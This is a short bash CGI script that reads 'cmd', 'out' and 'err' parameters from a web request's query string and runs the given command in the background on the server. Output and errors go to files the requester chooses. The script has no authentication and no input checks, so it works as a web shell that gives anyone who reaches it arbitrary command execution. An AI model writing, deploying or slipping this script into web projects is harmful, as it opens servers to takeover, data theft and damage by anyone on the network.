#!/bin/bash

CMD=`echo "$QUERY_STRING" | sed -n 's/^.*cmd=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
OUT=`echo "$QUERY_STRING" | sed -n 's/^.*out=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
ERR=`echo "$QUERY_STRING" | sed -n 's/^.*err=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`

printf "Content-Type:text/html\n\n"

printf "<HTML><BODY><H2>"
printf "> "
echo $CMD
printf " > "
printf $OUT
printf " 2> "
printf $ERR
printf "</H2><pre>"

$CMD > $OUT 2> $ERR &

printf "</pre></BODY></HTML>"

